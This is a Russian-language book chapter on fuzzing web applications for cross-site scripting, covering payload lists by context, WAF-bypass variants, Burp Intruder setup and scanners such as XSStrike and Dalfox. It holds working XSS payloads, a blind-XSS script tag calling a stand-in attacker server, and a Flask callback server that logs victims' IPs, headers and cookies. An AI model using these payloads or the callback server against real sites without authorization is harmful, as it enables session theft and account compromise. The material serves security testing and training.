Книга: «Все об уязвимости XSS». Глава 5: Поиск XSS - Охота началась 🕵️ • Fuzzing и тестирование точек входа

Fuzzing - это искусство массированной бомбардировки приложения тысячами вариаций payload'ов, чтобы найти хоть одну слабую точку, через которую пролезет твой XSS. Если мануальное тестирование - это снайперская винтовка, то fuzzing - это артиллерийский обстрел. Ты не знаешь точно, где сработает, но покрываешь такую площадь, что шансы найти уязвимость взлетают до небес. Давай разберёмся, как превратить хаотичное тыканье в системный, автоматизированный процесс поиска XSS.

Суть fuzzing для XSS

Fuzzing (фаззинг) в контексте XSS - это автоматическая отправка большого количества специально сформированных payload'ов во все найденные точки входа с последующим анализом ответов на предмет успешного выполнения кода.

Основная идея:

  1. Ты берёшь список из сотен или тысяч XSS-payload'ов
  2. Вставляешь их во все параметры, формы, headers, которые нашёл ранее
  3. Отправляешь запросы автоматически
  4. Анализируешь ответы: появился ли payload в HTML? В каком контексте? Сработал ли он?

Это позволяет:

  • Покрыть огромное количество вариаций за короткое время
  • Найти нестандартные векторы, о которых ты не подумал бы вручную
  • Обнаружить слабые места в фильтрах (что именно пропускается)
  • Протестировать edge cases и редкие комбинации

Подготовка payload-листов - твой боеприпас

Качество fuzzing'а напрямую зависит от качества твоих payload'ов. Не используй первый попавшийся список из интернета - собери свой арсенал.

Категории payload'ов

Базовые детекторы (canary payloads):
Простые маркеры для определения, отражается ли вообще твой ввод:

XSSTEST123

<xss>

{{7*7}}

${7*7}

Эти payload'ы помогают понять, фильтруется ли что-то на входе и где появляется вывод.

Контекстно-специфичные payload'ы:

Для HTML-контекста (как мы разбирали в главе 3):

<script>alert(1)</script> <img src=x onerror=alert(1)> <svg onload=alert(1)> <body onload=alert(1)> <iframe src="javascript:alert(1)">

Для атрибутов :

" onclick="alert(1) ' onfocus='alert(1)' autofocus=' " onmouseover="alert(1)

Для JavaScript-контекста:

';alert(1);// '-alert(1)-' </script><script>alert(1)</script>

Для URL-контекста:

javascript:alert(1) data:text/html,<script>alert(1)</script>

Обфускированные варианты (bypass payloads):

Используя техники из главы 4 :

<ScRiPt>alert(1)</ScRiPt> <img src=x onerror=&#97;lert(1)> <svg/onload=alert(1)> <img src=x onerror="eval(atob('YWxlcnQoMSk='))"> <img/src=x/onerror=alert(1)>

Polyglot payload'ы:

Универсальные payload'ы, работающие в нескольких контекстах одновременно:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Где взять готовые списки

  • PayloadAllTheThings (GitHub) - огромная коллекция payload'ов для всех типов атак
  • SecLists/XSS - качественная подборка от Daniel Miessler
  • PortSwigger XSS Cheat Sheet - официальный список от создателей Burp
  • OWASP XSS Filter Evasion - классика с фокусом на обход
  • XSS-Payload-List (различные GitHub репозитории)

Лайфхак: Не бери весь список целиком. Отбери 200-300 самых эффективных payload'ов под разные контексты. Качество важнее количества - 10000 похожих payload'ов дадут меньше результата, чем 300 разнообразных.

Burp Suite Intruder - артиллерия fuzzing'а

Burp Suite Intruder - твой главный инструмент для автоматизированного fuzzing'а.

Настройка атаки

Шаг 1: Захват запроса

Перехвати интересующий запрос в Burp Proxy:

GET /search?q=test&lang=en HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 Cookie: session=abc123

Шаг 2: Отправь в Intruder (Ctrl+I)

Шаг 3: Определи точки инъекции

В табе "Positions" выдели параметры для fuzzing'а символами §:

GET /search?q=§test§&lang=§en§ HTTP/1.1 Host: target.com User-Agent: §Mozilla/5.0§ Cookie: session=abc123

Шаг 4: Выбери тип атаки

  • Sniper - каждая позиция тестируется отдельно (по очереди)
  • Battering ram - один payload во все позиции одновременно
  • Pitchfork - разные списки для разных позиций (параллельно)
  • Cluster bomb - все комбинации всех payload'ов для всех позиций

Для XSS обычно используй Sniper (быстрее) или Cluster bomb (полное покрытие).

Шаг 5: Загрузи payload-лист

В табе "Payloads" → "Load" → выбери свой файл с payload'ами.

Шаг 6: Настрой опции

  • Redirections: Follow redirections (иногда XSS срабатывает после редиректа)
  • Grep - Match: Добавь паттерны для автоматического обнаружения:
    • <script>alert
    • onerror=
    • Твои уникальные маркеры из payload'ов

Шаг 7: Start attack

Анализ результатов

Burp покажет таблицу с результатами. Смотри на:

  • Status code: 200 vs 403/500 (блокировка?)
  • Length: Изменение длины ответа может указывать на отражение payload'а
  • Grep results: Автоматически найденные совпадения
  • Render: Визуальный просмотр страницы (видно, сработал ли XSS)

Сортируй по Length - аномальные размеры часто указывают на успех.

Проверяй вручную: Если Grep нашёл совпадение, открой Response и посмотри в исходный код - в каком контексте появился payload и выполнился ли он.

Специализированные инструменты fuzzing'а

XSStrike

Python-инструмент с интеллектуальным fuzzing'ом и обнаружением контекста.

Установка:

git clone https://github.com/s0md3v/XSStrike.git

cd XSStrike

pip install -r requirements.txt

Использование:

python xsstrike.py -u "http://target.com/search?q=test"

XSStrike автоматически:

  • Определяет контекст инъекции
  • Подбирает подходящие payload'ы
  • Проверяет наличие WAF
  • Использует обфускацию для обхода

Dalfox

Быстрый Go-based сканер с фокусом на производительность.

Установка:

go install github.com/hahwul/dalfox/v2@latest

Использование:

dalfox url "http://target.com/search?q=FUZZ" dalfox file urls.txt -b https://your-callback-server.com

Поддерживает:

  • Массовое сканирование из файла
  • Blind XSS через callback-сервер
  • Различные режимы обхода WAF
  • Интеграцию с Burp

XSSer

Старый, но всё ещё рабочий инструмент с огромным количеством техник обхода.

xsser -u "http://target.com/search?q=XSS" --auto

Nuclei

Современный сканер на основе YAML-шаблонов.

nuclei -u https://target.com -t xss/

Можно писать свои шаблоны под специфику цели.

Стратегии эффективного fuzzing'а

Стратегия 1: Поэтапное углубление

  1. Первый проход - базовые payload'ы (100 штук) на все точки входа
  2. Второй проход - обфусцированные варианты на те точки, где что-то отразилось
  3. Третий проход - polyglot'ы и экзотика на потенциально уязвимые места
  4. Четвёртый проход - мануальное тестирование финальных кандидатов

Стратегия 2: Контекстный fuzzing

Сначала определи контекст через canary payload, а потом бомби только релевантными payload'ами:

  • Если ввод в HTML → используй HTML-payload'ы
  • Если в атрибуте → attribute injection payload'ы
  • Если в JS → JS-escape payload'ы

Это экономит время и снижает шум.

Стратегия 3: WAF fingerprinting

Определи, есть ли WAF и какой:

wafw00f http://target.com

Затем используй специфичные для этого WAF техники обхода. Например:

  • Cloudflare чувствителен к определённым паттернам
  • ModSecurity можно обойти через mixed case
  • Akamai блокирует многие события, но пропускает экзотику

Стратегия 4: Differential fuzzing

Отправляй пары запросов:

  1. Нормальный запрос
  2. Запрос с payload'ом

Сравнивай ответы (diff). Это помогает обнаружить тонкие изменения в поведении.

Автоматизация анализа результатов

Скрипт для парсинга Burp результатов

import re
import sys
def analyze_burp_output(response):
# Ищем reflected payload
xss_patterns = [
r'<script>alert\(1\)</script>',
r'onerror\s*=',
r'onclick\s*=',
r'javascript:',
]

for pattern in xss_patterns:
if re.search(pattern, response, re.IGNORECASE):
return True
return False
# Читаем файл с ответами Burp
with open('burp_responses.txt', 'r') as f:
for line in f:
if analyze_burp_output(line):
print(f"[+] Potential XSS found: {line[:100]}")

Мониторинг callback'ов для Blind XSS

Разверни простой HTTP-сервер для ловли callback'ов:

from flask import Flask, request
import datetime
app = Flask(__name__)
@app.route('/<path:path>')
def log_hit(path):
timestamp = datetime.datetime.now()
print(f"[{timestamp}] XSS HIT!")
print(f"Path: {path}")
print(f"IP: {request.remote_addr}")
print(f"Headers: {request.headers}")
print(f"Cookies: {request.cookies}")
return "OK"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

Payload для Blind XSS:

<script src="http://your-server.com/xss_hit"></script>

Частые ошибки при fuzzing'е

Ошибка 1: Слишком агрессивный fuzzing
Тысячи запросов в секунду могут:

  • Вызвать rate limiting
  • Забанить твой IP
  • Упасть целевой сервер (DoS)

Используй throttling в Burp или ключ -t в инструментах.

Ошибка 2: Игнорирование контекста
Отправка HTML-payload'ов в JS-контекст - трата времени.

Ошибка 3: Не проверять вручную
Автоматические инструменты дают false positives. Всегда проверяй находки руками.

Ошибка 4: Забыть про Blind XSS
Некоторые payload'ы срабатывают только в админке или через несколько часов/дней.

Практический workflow

  1. Разведка - собери все точки входа (формы, параметры, headers)
  2. Категоризация - определи типы входов (reflected, stored, DOM)
  3. Базовый fuzzing - прогони лёгкие payload'ы через Burp Intruder
  4. Анализ - найди, где что-то отражается
  5. Углублённый fuzzing - бомби найденные точки специализированными payload'ами
  6. Мануальная проверка - подтверди находки вручную
  7. Эксплуатация - разработай рабочий PoC
  8. Документирование - запиши результаты для отчёта

Заключение

Fuzzing - это не замена мануальному тестированию, а его усилитель. Автоматизация позволяет покрыть огромную поверхность атаки за короткое время, но финальная проверка и эксплуатация всегда требуют человеческого мозга. Правильный fuzzing - это баланс между скоростью, покрытием и точностью. Собери качественные payload-листы, освой Burp Intruder, используй специализированные инструменты и всегда анализируй результаты критически. В следующем разделе мы погрузимся в инструментарий профессионального охотника за XSS - научимся выжимать максимум из Burp Suite, ZAP, XSS Hunter и других мастхэв-тулзов индустрии.

32 views·3 shares